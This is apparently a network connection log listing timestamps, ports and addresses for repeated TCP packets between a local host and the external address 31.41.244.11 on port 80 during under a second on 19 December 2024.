Dec 19, 2024 06:09:54.600240946 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.600259066 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.600265026 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.600265026 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.600284100 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.600291014 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.600667953 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.600684881 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.600701094 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.600713015 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.600735903 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.601603985 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.601624012 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.601639986 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.601666927 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.601680994 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.602519989 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.602566957 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.602845907 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.602865934 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.602883101 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.602889061 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.602904081 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.602916956 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.603786945 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.603804111 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.603832006 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.603843927 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.603982925 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.604028940 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.604607105 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.604634047 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.604645014 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.604651928 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.604671001 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.604688883 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.605493069 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.605515957 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.605531931 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.605540991 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.605560064 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.605565071 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.606515884 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.606534004 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.606549978 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.606576920 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.606602907 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.607351065 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.607371092 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.607387066 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.607413054 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.607438087 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.608176947 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.608211040 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.608226061 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.608253956 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.608272076 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.609045982 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.609065056 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.609081030 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.609110117 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.609128952 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.610059977 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.610076904 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.610091925 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.610119104 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.610138893 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.610899925 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.610914946 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.610929966 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.610955954 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.610976934 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.611728907 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.611746073 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.611763954 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.611799002 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.622687101 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.622705936 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.622726917 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.622797966 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.623061895 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.623095989 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.623112917 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.623130083 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.623142004 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.623153925 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.623186111 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.773720980 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.773770094 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.773785114 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.773855925 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.773896933 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.774148941 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.774199009 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.774210930 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.774243116 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.774256945 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.774300098 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.775191069 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.775207996 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.775223970 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.775247097 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.775274992 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.776029110 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.776045084 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.776061058 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.776079893 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.776109934 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.776797056 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.776813030 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.776829004 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.776854992 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.776880026 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.777709961 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.777731895 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.777751923 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.777765989 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.777793884 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.778534889 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.778575897 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.778575897 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.778594971 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.778615952 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.778640985 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.779479980 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.779495955 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.779511929 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.779521942 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.779537916 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.779551029 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.780664921 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.780684948 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.780704021 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.780706882 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.780715942 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.780741930 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.781243086 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.781260014 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.781275988 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.781285048 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.781299114 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.781316042 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.782138109 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.782160997 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.782176971 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.782181025 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.782202959 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.782217026 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.783030987 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.783068895 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.783077955 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.783098936 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.783122063 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.783137083 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.783865929 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.783916950 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.783934116 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.783934116 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.783955097 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.783967972 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.784739971 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.784786940 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.784794092 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.784810066 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.784827948 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.784845114 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.785703897 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.785720110 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.785737991 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.785757065 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.785773039 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.785789967 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.786573887 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.786590099 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.786606073 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.786628008 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.786645889 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.787435055 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.787483931 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.787529945 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.787547112 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.787573099 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.787587881 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.788577080 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.788593054 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.788626909 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.788644075 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.788666964 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.788708925 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.789484024 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.789500952 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.789518118 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.789535046 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.789550066 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.790210962 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.790247917 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.790260077 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.790263891 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.790287018 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.790301085 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.791023016 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.791059971 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.791066885 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.791078091 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.791100979 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.791111946 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.791903019 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.791918993 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.791937113 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.791945934 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.791961908 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.791970968 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.792855024 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.792896986 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.793087006 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.793102026 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.793118000 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.793134928 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.793154001 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.793164015 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.794004917 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.794049025 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.794051886 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.794070005 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.794092894 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.794107914 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.794842958 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.794864893 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.794882059 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.794884920 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.794894934 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.794918060 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.795743942 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.795785904 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.795789957 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.795808077 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.795829058 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.795844078 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.796679974 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.796715975 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.796725035 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.796737909 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.796760082 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.796773911 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.797522068 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.797548056 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.797563076 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.797574997 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.797591925 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.797599077 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.798439980 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.798455000 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.798471928 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.798502922 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.798527002 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.799298048 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.799354076 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.799360037 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.799376011 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.799401999 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.799416065 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.800209045 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.800224066 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.800240993 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.800260067 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.800275087 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.801040888 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.801093102 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.801099062 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.801115990 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.801145077 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.801161051 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.801963091 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.801991940 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.802009106 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.802017927 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.802031994 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.802052975 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.812984943 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.813000917 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.813009024 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.813143969 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.813369036 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.813385963 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.813401937 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.813417912 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.813445091 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.814304113 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.814327002 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.814363003 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.814389944 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.966073036 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.966089964 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.966152906 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.966207027 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.966255903 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.966335058 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.966351986 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.966382027 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.966397047 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.967134953 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.967161894 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.967175961 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.967178106 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.967204094 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.967217922 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.967876911 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.967894077 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.967911005 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.967916965 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.967933893 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.967953920 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.968715906 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.968760967 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.968765974 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.968784094 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.968806982 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.968818903 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.969595909 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.969660997 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.969666958 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.969685078 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.969705105 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.969723940 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.970467091 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.970505953 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.970529079 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.970545053 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.970565081 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.970588923 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.971375942 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.971415997 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.971426964 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.971442938 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.971465111 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.971477985 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.972245932 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.972286940 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.972290039 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.972307920 CET	80	49860	31.41.244.11	192.168.2.4
